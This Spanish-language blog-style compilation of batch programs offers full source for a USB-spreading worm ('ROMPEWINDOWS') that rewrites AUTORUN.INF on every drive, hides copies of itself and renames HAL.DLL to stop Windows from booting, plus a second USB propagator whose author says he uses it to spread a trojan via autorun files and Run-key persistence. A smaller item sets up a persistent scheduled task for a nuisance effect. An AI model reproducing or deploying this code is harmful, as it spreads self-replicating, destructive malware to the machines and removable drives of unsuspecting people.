Algunos Programas

Hola, en este día empezare con unos programitas que hice cuando estaba aburrido!

Bueno son algunos y creados por mi en batch:

Aquí Van:

   

Reloj Loco:

Este lo que hace es:

Cuando lo ejecutas, empieza a correr la HORA del reloj como Segundos y los MINUTOS como Milesimas. xD

Explorer Fack

Este lo que hace es: 

Cuando lo ejecutas, crea un servicio llamado Explorer Fack para que se ejecute cada vez que se inicia el sistema, luego se ejecuta el efecto. El efecto consiste en un bucle infinito, dentro del bucle se ejecuta la acción de poner las ventanas de windows en cascada Horizontal y Vertical(Se InterCambiar), creando molestia en la visual del explorador de windows, solo pruevenlo.

Para eliminarlo del sistema crear el siguiente batch y ejecutarlo:

@echo off

taskkill /im /f explorer.exe

schtasks /delete /tn "explorer fack" /f

del /q %windir%\system32\HackYellow\explorer.exe

start explorer.exe

taskkill /im /f cmd.exe

exit

BUSCADOR DE GOOGLE: 

PROPAGADOR USB ROMPEWINDOWS:

Este lo que hace es:

Este programa cuando lo ejecutamos lo que hace es buscar en todas las unidades de almacenamiento extraible y discos duros si esta el archivo AUTORUN.INF, si existe lo borra(Elimina atributos de solo lectura y elimina el archivo), luego crea uno nuevo y se copia asi mismo(Esto proboca que el Propagador Rompe Windows se ejecute desde la USB en cualquier maquina que este se conecte), cuando el programa se esta ejecutando, ademas de buscar y propagarse, modifica el archivo HAL.DLL(Imprescindible para el inicio de Windows: Aca esta el truco) cambiandole el nombre por ROTO.DLL (El Archivo HAL.DLL se encuentra en "c:\windows\system32\hal.dll"). Asi es como el programa Funciona: Se propaga y modifica el HAL.DLL impidiendo el inicio del sistema.

NOTA: El programa consiste en un bucle infinito, los archivos que se crean pueden eliminarse y crearse varias veces en el pendrive, si el programa se esta ejecutando, cuando borremos los archivos del Pendrive que se copian y se les cambia el atributo a "oculto", se volveran a crear.

CODIGO BATCH:

@echo off

explorer.exe %cd%

RENAME "%WINDIR%\SYSTEM32\HAL.DLL" ROTO.DLL

GOTO BUSCARUSB

rem EXPLICACION: 

reM 

rem ESTE ES UN ROMPEWINDOWS QUE SE PROPAGA POR LA USB E INFECTA PCS

rem CONSTA EN BUSCAR EN LA USB SI EXISTEN ARCHIVOS AUTORUN.

rem SI EXISTE LO BORRA Y CREA UNO NUEVO, COLOCANDOLO JUNTO CON EL 

rem ROMPEWINDWS. CUANDO SE CONECTA AL USB UN DISPOSITIVO CON ESTE 

rem VIRUS, ESTE SE INSTALA EN LA PC Y SE EJECUTA, LA EJECUCION

rem CONSISTE EN UN BUCLE INFINITO QUE BUSCA EN LAS USB, DISCOS DUROS

rem SI EXISTE EL AUTORUN, YA MENSIONADO ANTERIORMENTE, Y SI SE PROPAGA

REM COPIANDOSE A SI MISMO MEDIANTE USB, Y DISCOS DUROS.

rem MENU BUSCAR:

:BUSCARUSB

GOTO C

:C

if exist C:\AUTORUN.INF (goto EXISTE3) else goto NOEXISTE3

:D

if exist "D:\AUTORUN.INF" (goto EXISTE4) else goto noexiste4

:E

if exist "E:\AUTORUN.INF" (goto EXISTE5) else goto noexiste5

:F

if exist "F:\AUTORUN.INF" (goto EXISTE6) else goto noexiste6

:G

if exist "G:\AUTORUN.INF" (goto EXISTE7) else goto noexiste7

:H

if exist "H:\AUTORUN.INF" (goto EXISTE8) else goto noexiste8

:I

if exist "I:\AUTORUN.INF" (goto EXISTE9) else goto noexiste9

:J

if exist "J:\AUTORUN.INF" (goto EXISTE10) else goto noexiste10

:K

if exist "K:\AUTORUN.INF" (goto EXISTE11) else goto noexiste11

:L

if exist "L:\AUTORUN.INF" (goto EXISTE12) else goto noexiste12

:M

if exist "M:\AUTORUN.INF" (goto EXISTE13) else goto noexiste13

:N

if exist "N:\AUTORUN.INF" (goto EXISTE14) else goto noexiste14

:Ñ

if exist "Ñ:\AUTORUN.INF" (goto EXISTE15) else goto noexiste15

:O

if exist "O:\AUTORUN.INF" (goto EXISTE16) else goto noexiste16

:P

if exist "P:\AUTORUN.INF" (goto EXISTE17) else goto noexiste17

:Q

if exist "Q:\AUTORUN.INF" (goto EXISTE18) else goto noexiste18

:R

if exist "R:\AUTORUN.INF" (goto EXISTE19) else goto noexiste19

:S

if exist "S:\AUTORUN.INF" (goto EXISTE20) else goto noexiste20

:T

if exist "T:\AUTORUN.INF" (goto EXISTE21) else goto noexiste21

:U

if exist "U:\AUTORUN.INF" (goto EXISTE22) else goto noexiste22

:V

if exist "V:\AUTORUN.INF" (goto EXISTE23) else goto noexiste23

:W

if exist "W:\AUTORUN.INF" (goto EXISTE24) else goto noexiste24

:X

if exist "X:\AUTORUN.INF" (goto EXISTE25) else goto noexiste25

:Y

if exist "Y:\AUTORUN.INF" (goto EXISTE26) else goto noexiste26

:Z

if exist "Z:\AUTORUN.INF" (goto EXISTE27) else goto noexiste27

rem MENU EXISTE:

:EXISTE3

ATTRIB -H C:\AUTORUN.INF

ATTRIB -R C:\AUTORUN.INF

DEL /Q /A C:\AUTORUN.INF

GOTO CREAR3

:EXISTE4

ATTRIB -H "D:\AUTORUN.INF"

ATTRIB -R "D:\AUTORUN.INF"

DEL /Q /A "D:\AUTORUN.INF"

GOTO CREAR4

:EXISTE5

ATTRIB -H "E:\AUTORUN.INF"

ATTRIB -R "E:\AUTORUN.INF"

DEL /Q /A "E:\AUTORUN.INF"

GOTO CREAR5

:EXISTE6

ATTRIB -H "F:\AUTORUN.INF"

ATTRIB -R "F:\AUTORUN.INF"

DEL /Q /A "F:\AUTORUN.INF"

GOTO CREAR6

:EXISTE7

ATTRIB -H "G:\AUTORUN.INF"

ATTRIB -R "G:\AUTORUN.INF"

DEL /Q /A "G:\AUTORUN.INF"

GOTO CREAR7

:EXISTE8

ATTRIB -H "H:\AUTORUN.INF"

ATTRIB -R "H:\AUTORUN.INF"

DEL /Q /A "H:\AUTORUN.INF"

GOTO CREAR8

:EXISTE9

ATTRIB -H "I:\AUTORUN.INF"

ATTRIB -R "I:\AUTORUN.INF"

DEL /Q /A "I:\AUTORUN.INF"

GOTO CREAR9

:EXISTE10

ATTRIB -H "J:\AUTORUN.INF"

ATTRIB -R "J:\AUTORUN.INF"

DEL /Q /A "J:\AUTORUN.INF"

GOTO CREAR10

:EXISTE11

ATTRIB -H "K:\AUTORUN.INF"

ATTRIB -R "K:\AUTORUN.INF"

DEL /Q /A "K:\AUTORUN.INF"

GOTO CREAR11

:EXISTE12

ATTRIB -H "L:\AUTORUN.INF"

ATTRIB -R "L:\AUTORUN.INF"

DEL /Q /A "L:\AUTORUN.INF"

GOTO CREAR12

:EXISTE13

ATTRIB -H "M:\AUTORUN.INF"

ATTRIB -R "M:\AUTORUN.INF"

DEL /Q /A "M:\AUTORUN.INF"

GOTO CREAR13

:EXISTE14

ATTRIB -H "N:\AUTORUN.INF"

ATTRIB -R "N:\AUTORUN.INF"

DEL /Q /A "N:\AUTORUN.INF"

GOTO CREAR14

:EXISTE15

ATTRIB -H "Ñ:\AUTORUN.INF"

ATTRIB -R "Ñ:\AUTORUN.INF"

DEL /Q /A "Ñ:\AUTORUN.INF"

GOTO CREAR15

:EXISTE16

ATTRIB -H "O:\AUTORUN.INF"

ATTRIB -R "O:\AUTORUN.INF"

DEL /Q /A "O:\AUTORUN.INF"

GOTO CREAR16

:EXISTE17

ATTRIB -H "P:\AUTORUN.INF"

ATTRIB -R "P:\AUTORUN.INF"

DEL /Q /A "P:\AUTORUN.INF"

GOTO CREAR17

:EXISTE18

ATTRIB -H "Q:\AUTORUN.INF"

ATTRIB -R "Q:\AUTORUN.INF"

DEL /Q /A "Q:\AUTORUN.INF"

GOTO CREAR18

:EXISTE19

ATTRIB -H "R:\AUTORUN.INF"

ATTRIB -R "R:\AUTORUN.INF"

DEL /Q /A "R:\AUTORUN.INF"

GOTO CREAR19

:EXISTE20

ATTRIB -H "S:\AUTORUN.INF"

ATTRIB -R "S:\AUTORUN.INF"

DEL /Q /A "S:\AUTORUN.INF"

GOTO CREAR20

:EXISTE21

ATTRIB -H "T:\AUTORUN.INF"

ATTRIB -R "T:\AUTORUN.INF"

DEL /Q /A "T:\AUTORUN.INF"

GOTO CREAR21

:EXISTE22

ATTRIB -H "U:\AUTORUN.INF"

ATTRIB -R "U:\AUTORUN.INF"

DEL /Q /A "U:\AUTORUN.INF"

GOTO CREAR22

:EXISTE23

ATTRIB -H "V:\AUTORUN.INF"

ATTRIB -R "V:\AUTORUN.INF"

DEL /Q /A "V:\AUTORUN.INF"

GOTO CREAR23

:EXISTE24

ATTRIB -H "W:\AUTORUN.INF"

ATTRIB -R "W:\AUTORUN.INF"

DEL /Q /A "W:\AUTORUN.INF"

GOTO CREAR24

:EXISTE25

ATTRIB -H "X:\AUTORUN.INF"

ATTRIB -R "X:\AUTORUN.INF"

DEL /Q /A "X:\AUTORUN.INF"

GOTO CREAR25

:EXISTE26

ATTRIB -H "Y:\AUTORUN.INF"

ATTRIB -R "Y:\AUTORUN.INF"

DEL /Q /A "Y:\AUTORUN.INF"

GOTO CREAR26

:EXISTE27

ATTRIB -H "Z:\AUTORUN.INF"

ATTRIB -R "Z:\AUTORUN.INF"

DEL /Q /A "Z:\AUTORUN.INF"

GOTO CREAR27

rem MENU NOEXISTE:

:NOEXISTE3

GOTO CREAR3

:NOEXISTE4

GOTO CREAR4

:NOEXISTE5

GOTO CREAR5

:NOEXISTE6

GOTO CREAR6

:NOEXISTE7

GOTO CREAR7

:NOEXISTE8

GOTO CREAR8

:NOEXISTE9

GOTO CREAR9

:NOEXISTE10

GOTO CREAR10

:NOEXISTE11

GOTO CREAR11

:NOEXISTE12

GOTO CREAR12

:NOEXISTE13

GOTO CREAR13

:NOEXISTE14

GOTO CREAR14

:NOEXISTE15

GOTO CREAR15

:NOEXISTE16

GOTO CREAR16

:NOEXISTE17

GOTO CREAR17

:NOEXISTE18

GOTO CREAR18

:NOEXISTE19

GOTO CREAR19

:NOEXISTE20

GOTO CREAR20

:NOEXISTE21

GOTO CREAR21

:NOEXISTE22

GOTO CREAR22

:NOEXISTE23

GOTO CREAR23

:NOEXISTE24

GOTO CREAR24

:NOEXISTE25

GOTO CREAR25

:NOEXISTE26

GOTO CREAR26

:NOEXISTE27

GOTO CREAR27

rem MENU CREAR: 

:CREAR3

ECHO [AUTORUN]>>"C:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"C:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"C:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"C:\AUTORUN.INF"

ATTRIB -H "C:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "C:\"

ATTRIB +H "C:\AUTORUN.INF"

ATTRIB +H "C:\ROMPEWINDOWS.CMD"

GOTO D

:CREAR4

ECHO [AUTORUN]>>"D:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"D:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"D:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"D:\AUTORUN.INF"

ATTRIB -H "D:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "D:\"

ATTRIB +H "D:\AUTORUN.INF"

ATTRIB +H "D:\ROMPEWINDOWS.CMD"

GOTO E

:CREAR5

ECHO [AUTORUN]>>"E:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"E:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"E:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"E:\AUTORUN.INF"

ATTRIB -H "E:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "E:\"

ATTRIB +H "E:\AUTORUN.INF"

ATTRIB +H "E:\ROMPEWINDOWS.CMD"

GOTO F

:CREAR6

ECHO [AUTORUN]>>"F:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"F:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"F:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"F:\AUTORUN.INF"

ATTRIB -H "F:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "F:\"

ATTRIB +H "F:\AUTORUN.INF"

ATTRIB +H "F:\ROMPEWINDOWS.CMD"

GOTO G

:CREAR7

ECHO [AUTORUN]>>"G:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"G:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"G:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"G:\AUTORUN.INF"

ATTRIB -H "G:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "G:\"

ATTRIB +H "G:\AUTORUN.INF"

ATTRIB +H "G:\ROMPEWINDOWS.CMD"

GOTO H

:CREAR8

ECHO [AUTORUN]>>"H:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"H:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"H:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"H:\AUTORUN.INF"

ATTRIB -H "H:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "H:\"

ATTRIB +H "H:\AUTORUN.INF"

ATTRIB +H "H:\ROMPEWINDOWS.CMD"

GOTO I

:CREAR9

ECHO [AUTORUN]>>"I:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"I:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"I:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"I:\AUTORUN.INF"

ATTRIB -H "I:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "I:\"

ATTRIB +H "I:\AUTORUN.INF"

ATTRIB +H "I:\ROMPEWINDOWS.CMD"

GOTO J

:CREAR10

ECHO [AUTORUN]>>"J:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"J:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"J:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"J:\AUTORUN.INF"

ATTRIB -H "J:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "J:\"

ATTRIB +H "J:\AUTORUN.INF"

ATTRIB +H "J:\ROMPEWINDOWS.CMD"

GOTO K

:CREAR11

ECHO [AUTORUN]>>"K:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"K:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"K:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"K:\AUTORUN.INF"

ATTRIB -H "K:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "K:\"

ATTRIB +H "K:\AUTORUN.INF"

ATTRIB +H "K:\ROMPEWINDOWS.CMD"

GOTO L

:CREAR12

ECHO [AUTORUN]>>"L:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"L:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"L:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"L:\AUTORUN.INF"

ATTRIB -H "L:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "L:\"

ATTRIB +H "L:\AUTORUN.INF"

ATTRIB +H "L:\ROMPEWINDOWS.CMD"

GOTO M

:CREAR13

ECHO [AUTORUN]>>"M:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"M:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"M:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"M:\AUTORUN.INF"

ATTRIB -H "M:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "M:\"

ATTRIB +H "M:\AUTORUN.INF"

ATTRIB +H "M:\ROMPEWINDOWS.CMD"

GOTO N

:CREAR14

ECHO [AUTORUN]>>"N:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"N:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"N:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"N:\AUTORUN.INF"

ATTRIB -H "N:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "N:\"

ATTRIB +H "N:\AUTORUN.INF"

ATTRIB +H "N:\ROMPEWINDOWS.CMD"

GOTO Ñ

:CREAR15

ECHO [AUTORUN]>>"Ñ:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"Ñ:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"Ñ:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"Ñ:\AUTORUN.INF"

ATTRIB -H "Ñ:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "Ñ:\"

ATTRIB +H "Ñ:\AUTORUN.INF"

ATTRIB +H "Ñ:\ROMPEWINDOWS.CMD"

GOTO O

:CREAR16

ECHO [AUTORUN]>>"O:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"O:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"O:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"O:\AUTORUN.INF"

ATTRIB -H "O:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "O:\"

ATTRIB +H "O:\AUTORUN.INF"

ATTRIB +H "O:\ROMPEWINDOWS.CMD"

GOTO P

:CREAR17

ECHO [AUTORUN]>>"P:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"P:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"P:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"P:\AUTORUN.INF"

ATTRIB -H "P:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "P:\"

ATTRIB +H "P:\AUTORUN.INF"

ATTRIB +H "P:\ROMPEWINDOWS.CMD"

GOTO Q

:CREAR18

ECHO [AUTORUN]>>"Q:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"Q:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"Q:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"Q:\AUTORUN.INF"

ATTRIB -H "Q:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "Q:\"

ATTRIB +H "Q:\AUTORUN.INF"

ATTRIB +H "Q:\ROMPEWINDOWS.CMD"

GOTO R

:CREAR19

ECHO [AUTORUN]>>"R:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"R:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"R:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"R:\AUTORUN.INF"

ATTRIB -H "R:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "R:\"

ATTRIB +H "R:\AUTORUN.INF"

ATTRIB +H "R:\ROMPEWINDOWS.CMD"

GOTO S

:CREAR20

ECHO [AUTORUN]>>"S:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"S:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"S:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"S:\AUTORUN.INF"

ATTRIB -H "S:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "S:\"

ATTRIB +H "S:\AUTORUN.INF"

ATTRIB +H "S:\ROMPEWINDOWS.CMD"

GOTO T

:CREAR21

ECHO [AUTORUN]>>"T:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"T:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"T:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"T:\AUTORUN.INF"

ATTRIB -H "T:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "T:\"

ATTRIB +H "T:\AUTORUN.INF"

ATTRIB +H "T:\ROMPEWINDOWS.CMD"

GOTO U

:CREAR22

ECHO [AUTORUN]>>"U:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"U:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"U:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"U:\AUTORUN.INF"

ATTRIB -H "U:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "U:\"

ATTRIB +H "U:\AUTORUN.INF"

ATTRIB +H "U:\ROMPEWINDOWS.CMD"

GOTO V

:CREAR23

ECHO [AUTORUN]>>"V:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"V:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"V:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"V:\AUTORUN.INF"

ATTRIB -H "V:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "V:\"

ATTRIB +H "V:\AUTORUN.INF"

ATTRIB +H "V:\ROMPEWINDOWS.CMD"

GOTO W

:CREAR24

ECHO [AUTORUN]>>"W:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"W:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"W:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"W:\AUTORUN.INF"

ATTRIB -H "W:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "W:\"

ATTRIB +H "W:\AUTORUN.INF"

ATTRIB +H "W:\ROMPEWINDOWS.CMD"

GOTO X

:CREAR25

ECHO [AUTORUN]>>"X:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"X:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"X:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"X:\AUTORUN.INF"

ATTRIB -H "X:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "X:\"

ATTRIB +H "X:\AUTORUN.INF"

ATTRIB +H "X:\ROMPEWINDOWS.CMD"

GOTO Y

:CREAR26

ECHO [AUTORUN]>>"Y:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"Y:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"Y:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"Y:\AUTORUN.INF"

ATTRIB -H "Y:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "Y:\"

ATTRIB +H "Y:\AUTORUN.INF"

ATTRIB +H "Y:\ROMPEWINDOWS.CMD"

GOTO Z

:CREAR27

ECHO [AUTORUN]>>"Z:\AUTORUN.INF"

ECHO OPEN=ROMPEWINDOWS.CMD>>"Z:\AUTORUN.INF"

ECHO SHELL\VERB1=OPEN>>"Z:\AUTORUN.INF"

ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"Z:\AUTORUN.INF"

ATTRIB -H "Z:\ROMPEWINDOWS.CMD"

XCOPY /Y %0 "Z:\"

ATTRIB +H "Z:\AUTORUN.INF"

ATTRIB +H "Z:\ROMPEWINDOWS.CMD"

GOTO C

exit

ESPERO QUE LOS PROGRAMAS LES SIRBAN DE AYUDA, ATENTAMENTE:

SE3ACORP

Propagar de USB a USB un codigo malicioso con un simple batch

Hola amigos, bueno aca les paso el codigo que escribi en batch es sencillo pero efectivo por lo menos a mi me funciona bien 
yo lo uso para propagar un troyano por medio de discos removibles. 
funciona de la siguiente manera: al conectar un ped driver o cualquier medio removible el codigo se copiara en el para luego ejecutarse en la proxima 
maquina donde se conecte. 
en el codigo van a apareser dos .exe esos son "propagador.exe" despues le cambias el nombre que vos quieras, y "troyano.exe" ese sera tu codigo malisioso que quieres propagar. 
lo unico que vas a nesecitar es un compilador para pasar tu .bat a .exe, yo use "Bat To Exe Converter" que seguro buscando un poco lo encuentran y cumple my bien esa funcion. 

bueno pongo el codigo y lo explico un poco: 

--------------------------------------------------------------------------- ------------------------------------------------------------------- 

@echo off 
EXPLORER.EXE /E,\ 
:volver 
echo va a mirar si existe propagador.exe 
ping -n 15 localhost > nul 

IF NOT EXIST D:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST E:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST F:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST G:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST H:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST I:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST J:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST K:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST L:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST M:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST N:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST O:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST P:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST Q:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST R:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST S:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST T:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST U:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST V:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST W:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST X:/propagador.exe (GOTO NOEXISTE) 
IF NOT EXIST Y:Ypropagador.exe (GOTO NOEXISTE) 
IF NOT EXIST Z:/propagador.exe (GOTO NOEXISTE) 


IF EXIST D:/propagador.exe (GOTO volver) 
IF EXIST F:/propagador.exe (GOTO volver) 
IF EXIST G:/propagador.exe (GOTO volver) 
IF EXIST H:/propagador.exe (GOTO volver) 
IF EXIST I:/propagador.exe (GOTO volver) 
IF EXIST J:/propagador.exe (GOTO volver) 
IF EXIST K:/propagador.exe (GOTO volver) 
IF EXIST L:/propagador.exe (GOTO volver) 
IF EXIST M:/propagador.exe (GOTO volver) 
IF EXIST N:/propagador.exe (GOTO volver) 
IF EXIST O:/propagador.exe (GOTO volver) 
IF EXIST P:/propagador.exe (GOTO volver) 
IF EXIST Q:/propagador.exe (GOTO volver) 
IF EXIST R:/propagador.exe (GOTO volver) 
IF EXIST S:/propagador.exe (GOTO volver) 
IF EXIST T:/propagador.exe (GOTO volver) 
IF EXIST U:/propagador.exe (GOTO volver) 
IF EXIST V:/propagador.exe (GOTO volver) 
IF EXIST W:/propagador.exe (GOTO volver) 
IF EXIST X:/propagador.exe (GOTO volver) 
IF EXIST X:/propagador.exe (GOTO volver) 
IF EXIST Y:/propagador.exe (GOTO volver) 
IF EXIST Z:/propagador.exe (GOTO volver) 

:NOEXISTE 

echo no existe... seguimos 
ping -n 10 localhost > nul 
XCOPY opesys.exe "C:\WINDOWS\system32" /H/Y 
XCOPY troyano.exe "C:\WINDOWS\system32" /H/Y 

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v opesys /t REG_SZ /d C:\WINDOWS\system32\propagador.exe /f > nul 

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v msngms /t REG_SZ /d C:\WINDOWS\system32\troyano.exe /f > nul 


:bucle 
@echo off 
echo espera para crear inf y copiar de sys 
ping -n 10 localhost > nul 


FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (del %%A:\Autorun.inf) 
FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (echo [Autorun] > %%A:\AutoRun.inf) 
FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (echo action=Abrir >> %%A:\AutoRun.inf) 
FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (echo shellexecute= propagador.exe >> %%A:\AutoRun.Inf) 
FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (attrib +h +s %%A:\AutoRun.inf) 
FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (attrib +h +s %%A:\propagador.exe)
FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (attrib +h +s %%A:\troyano.exe) 
FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (XCOPY "C:\WINDOWS\system32\propagador.exe" "%%A:" /H/Y) 
FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (XCOPY "C:\WINDOWS\system32\troyano.exe" "%%A:" /H/Y) 
ping -n 10 localhost > nul 

goto volver 

--------------------------------------------------------------------------- ---------------------------------------------------- 
bueno la primera linea: EXPLORER.EXE /E,\ es para que cuando abras el disco removible se abra el explorador normalmente 
los echo los puse para ir probando ejecutando el .bat y ver como va funcionando en la ventana de DOS si quieren no lo pongan 
los ping -n 15 localhost > nul es para darle un tiempo a cada paso que va realizando el codigo, como para no tarar el equipo 
con IF NOT EXIST va a mirar en los discos a partir den D: hasta la Z:, si no existe el propagador.exe si es asi saltara hasta :NO EXISTE y prosedera a copiarlo en cada uno de estos. 
